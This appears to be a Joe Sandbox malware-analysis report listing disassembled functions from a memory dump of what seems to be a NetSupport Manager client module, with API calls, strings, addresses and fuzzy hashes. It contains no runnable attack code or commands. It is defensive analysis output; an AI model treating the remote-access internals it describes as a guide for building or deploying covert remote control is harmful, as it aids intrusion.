Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Item$Text$_strncpy$EnabledWindow_memset
String ID:
API String ID: 3085755443-3916222277
Opcode ID: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction ID: 27c08bceae7d385fa57d2e1d5dbc2d5db1b5a631922e4fecc43e69d3347e8bff
Opcode Fuzzy Hash: 3474633675772f1dfa7fa715227e202affa5940b04f40e4fcdf8bfab1e55feb6
Instruction Fuzzy Hash: 6D819F75A10706ABE724DB74CC85F9AB3F9BF84704F50C598E2499B181DF71FA448BA0

Function 1106F060 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 297COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1106F397
EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 1106F3E8
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?), ref: 1106F408

Strings

tracerecv, xrefs: 1106F1C5
Port, xrefs: 1106F353
ListenPort, xrefs: 1106F370
TCPIP, xrefs: 1106F1CA, 1106F2F7, 1106F358, 1106F375
(null), xrefs: 1106F1DE, 1106F1F0
UseNCS, xrefs: 1106F2F2
NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s, xrefs: 1106F200
%s:%d, xrefs: 1106F391

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavewsprintf
String ID: %s:%d$(null)$ListenPort$NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s$Port$TCPIP$UseNCS$tracerecv
API String ID: 3005300677-3496508882
Opcode ID: 39a7049b07ce781649e512e0e1065f178741ae477e8da126b9dd4c2485176ebe
Instruction ID: 2680b2d19a9bdf8eb0956d8c99ae1cac6e929f7b4449284ea49473897193c40b
Opcode Fuzzy Hash: 39a7049b07ce781649e512e0e1065f178741ae477e8da126b9dd4c2485176ebe
Instruction Fuzzy Hash: 9EB1A375E0022A9FDB14DF65CC50FAAB7B9AF49708F4041DCE909A7241EB71A981CF62

Function 11047160 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11047211
_malloc.LIBCMT ref: 110472AD
_memmove.LIBCMT ref: 11047312
SendMessageTimeoutA.USER32(?,0000004A,0002044E,00000005,00000002,00002710,?), ref: 11047372
_free.LIBCMT ref: 11047379

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11043870: _free.LIBCMT ref: 11043907
Part of subcall function 11043870: _free.LIBCMT ref: 11043927
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043955
Part of subcall function 11043870: _strncpy.LIBCMT ref: 11043992
Part of subcall function 11043870: _malloc.LIBCMT ref: 110439CC

Strings

SurveyResults, xrefs: 110474E5
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 11047297, 110472CE, 110472FA, 11047338
IsA(), xrefs: 1104729C, 110472D3, 110472FF, 1104733D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$Message_malloc_strncpy$ErrorExitLastProcessSendTimeoutWindow_memmovewsprintf
String ID: IsA()$SurveyResults$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 3960737985-1318765656
Opcode ID: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction ID: e7dd2455d00588b8b0596ee18c4208b20e6f9302996f578dcf6f33cfb97cf12a
Opcode Fuzzy Hash: 6f3482f183dc71e32b0e781e0e1ae71b2587e219f1bd543c2aaaf4bdd4110b9c
Instruction Fuzzy Hash: 18C1A374E0064A9FDB04DFE4C8D0EEEF7B5BF88308F208168D519AB295DB70A945CB90

Function 1102D1A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1102D1C0

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

_memmove.LIBCMT ref: 1102D24A
_memmove.LIBCMT ref: 1102D26E
_memmove.LIBCMT ref: 1102D2A8
_memmove.LIBCMT ref: 1102D2C4
std::exception::exception.LIBCMT ref: 1102D30E
__CxxThrowException@8.LIBCMT ref: 1102D323

Strings

deque<T> too long, xrefs: 1102D1BB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction ID: ae58a47b93f5c67beecf59276473b3909c5d487f19c470db74dff325715f4f31
Opcode Fuzzy Hash: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction Fuzzy Hash: DD41A476E00105ABDB04CE68CC81AEEB7FAAF94324F59C669DC09DB344E675EE05C790

Function 1106B250 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106B283
__fread_nolock.LIBCMT ref: 1106B298
_malloc.LIBCMT ref: 1106B2F7
_fseek.LIBCMT ref: 1106B306
__fread_nolock.LIBCMT ref: 1106B313
_free.LIBCMT ref: 1106B356
_fseek.LIBCMT ref: 1106B375

Strings

PCIR, xrefs: 1106B399

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __fread_nolock_fseek$_free_malloc_memset
String ID: PCIR
API String ID: 2419779768-1011558323
Opcode ID: 81c3817886dc5dbe589c173359df18430558f154d2dd439929bf4d11460d0680
Instruction ID: 1ccd7dea2f775c367685aa3e1c73f4b59a6156879e869ee7e214f681fe7cb03c
Opcode Fuzzy Hash: 81c3817886dc5dbe589c173359df18430558f154d2dd439929bf4d11460d0680
Instruction Fuzzy Hash: A94106B1F01318ABEB10CFA4DD41BDEB7BEEF81308F104069EC09AB240DA72A901C795

Function 11015500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

SetPropA.USER32(?,?), ref: 1101556F

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11015290: BeginPaint.USER32(?,?), ref: 110152BF
Part of subcall function 11015290: GetWindowRect.USER32(?,?), ref: 110152D7
Part of subcall function 11015290: _memset.LIBCMT ref: 110152E5
Part of subcall function 11015290: CreateFontIndirectA.GDI32(?), ref: 11015301
Part of subcall function 11015290: SelectObject.GDI32(00000000,00000000), ref: 11015315
Part of subcall function 11015290: SetBkMode.GDI32(00000000,00000001), ref: 11015320
Part of subcall function 11015290: BeginPath.GDI32(00000000), ref: 1101532D
Part of subcall function 11015290: TextOutA.GDI32(00000000,00000000,00000000), ref: 11015350
Part of subcall function 11015290: EndPath.GDI32(00000000), ref: 11015357
Part of subcall function 11015290: PathToRegion.GDI32(00000000), ref: 1101535E
Part of subcall function 11015290: CreateSolidBrush.GDI32(?), ref: 11015370
Part of subcall function 11015290: CreateSolidBrush.GDI32(?), ref: 11015386
Part of subcall function 11015290: CreatePen.GDI32(00000000,00000002,?), ref: 110153A0
Part of subcall function 11015290: SelectObject.GDI32(00000000,00000000), ref: 110153AE
Part of subcall function 11015290: SelectObject.GDI32(00000000,?), ref: 110153BE
Part of subcall function 11015290: GetRgnBox.GDI32(00000000,?), ref: 110153CB

GetPropA.USER32(?), ref: 1101557E
wsprintfA.USER32 ref: 110155B3
RemovePropA.USER32(?), ref: 110155E8
DefWindowProcA.USER32(?,?,?,?), ref: 11015611

Strings

hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 110155AD
NSMIdentifyWnd::m_aProp, xrefs: 11015558
..\ctl32\NSMIdentifyWnd.cpp, xrefs: 11015535, 11015553, 110155C3

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Create$ObjectPathPropSelect$BeginBrushSolidWindowwsprintf$ErrorExitFontIndirectLastMessageModePaintProcProcessRectRegionRemoveText_memset
String ID: ..\ctl32\NSMIdentifyWnd.cpp$NSMIdentifyWnd::m_aProp$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 1924375018-841114059
Opcode ID: 349e3198e4ee11d8f994cce4f4d7fe91b877becd306935b01eaf7a21f5783bae
Instruction ID: fc00b609a2f261b647cf9ab1963ef075e81928135c8218ba30019119ab5d925d
Opcode Fuzzy Hash: 349e3198e4ee11d8f994cce4f4d7fe91b877becd306935b01eaf7a21f5783bae
Instruction Fuzzy Hash: 1131E775E01029ABD714DFA4DC80FBEB379EF4A309F04406AF51A9F148EA7A9940CB71

Function 11005190 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100519E
_memset.LIBCMT ref: 110051C0
GetMenuItemID.USER32(?,00000000), ref: 110051D4
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005231
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005247
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005268
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005294

Strings

0, xrefs: 110051CD

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction ID: ff6163613c0a8cbc830ef1528835912891ededd95cc8b4eaa22ca2fcf9c2cdf5
Opcode Fuzzy Hash: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction Fuzzy Hash: 71318E70D11219ABEB01DFA4D885BEEBBFCEF46758F008059F951E6240E7759944CB60

Function 1101D1B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D1E0
GetClassInfoExA.USER32(00000000,NSMChatSizeWnd,?), ref: 1101D1FA
_memset.LIBCMT ref: 1101D20A
RegisterClassExA.USER32(?), ref: 1101D24B
CreateWindowExA.USER32(00000000,NSMChatSizeWnd,11194244,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 1101D27E
GetWindowRect.USER32(00000000,?), ref: 1101D28B
DestroyWindow.USER32(00000000), ref: 1101D292

Strings

NSMChatSizeWnd, xrefs: 1101D1EC, 1101D241, 1101D278

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$Class_memset$CreateDestroyInfoRectRegister
String ID: NSMChatSizeWnd
API String ID: 2883038198-4119039562
Opcode ID: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction ID: df00defde950c6a972f57fa33671139d82de9fa74eae4c6bde258e6239c9b3d1
Opcode Fuzzy Hash: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction Fuzzy Hash: C7314DB5D0021DAFDB10DFA5DD84BEEF7B8EB44628F20012EE925B7240D735A905CB64

Function 1103D160 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 98synchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1103D18F
GetModuleFileNameA.KERNEL32(00000000,?,00000125), ref: 1103D1BD
CloseHandle.KERNEL32(?), ref: 1103D25C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 1103D26C
CloseHandle.KERNEL32(?), ref: 1103D279

Strings

/247, xrefs: 1103D20A
" /a, xrefs: 1103D1DF
RunAnnot, xrefs: 1103D177

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait_memset
String ID: /247$" /a$RunAnnot
API String ID: 2581068044-4059077130
Opcode ID: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction ID: dc76f3c11fb5ad4c0452055a60ef983052eda761819ccc7684b04031b26646f7
Opcode Fuzzy Hash: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction Fuzzy Hash: 4541C030A04319AFEB11DFA4CC84FDDB7B9EB48704F1080A5E6589B284DB71E944CF90

Function 1112B270 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,?,?,?,?,1102E011,?,?,11194244,Trying to get mac addr for %u.%u.%u.%u,?,000000FF,?,?), ref: 1112B295
GetProcAddress.KERNEL32(00000000,SendARP), ref: 1112B2AE
wsprintfA.USER32 ref: 1112B2FB
wsprintfA.USER32 ref: 1112B313
FreeLibrary.KERNEL32(00000000,?,?,1102E011), ref: 1112B328

Strings

IPHLPAPI.DLL, xrefs: 1112B288
%02x, xrefs: 1112B30D
SendARP, xrefs: 1112B2A8

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Librarywsprintf$AddressFreeLoadProc
String ID: %02x$IPHLPAPI.DLL$SendARP
API String ID: 435568443-4085816232
Opcode ID: 059c12f073bdf147a91715eca9bcb01dfedc32bce9f3742e1109da8ce792d870
Instruction ID: 7d96227945af9bb0c0fa81f266df54215dce15e5fec16fb5673a6d202f8b9dc6
Opcode Fuzzy Hash: 059c12f073bdf147a91715eca9bcb01dfedc32bce9f3742e1109da8ce792d870
Instruction Fuzzy Hash: 87216D75E001299BCB14CFA6CD85AEEFBB8FF8D614F550118EC14A3300E635AE05CBA4

Function 11037230 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11037267

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1103728F
_strncpy.LIBCMT ref: 110372BB
_strncpy.LIBCMT ref: 110372F8
_malloc.LIBCMT ref: 11037332
_strncpy.LIBCMT ref: 11037343
_strncpy.LIBCMT ref: 11037383
_malloc.LIBCMT ref: 110373B6
_strncpy.LIBCMT ref: 110373CC

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
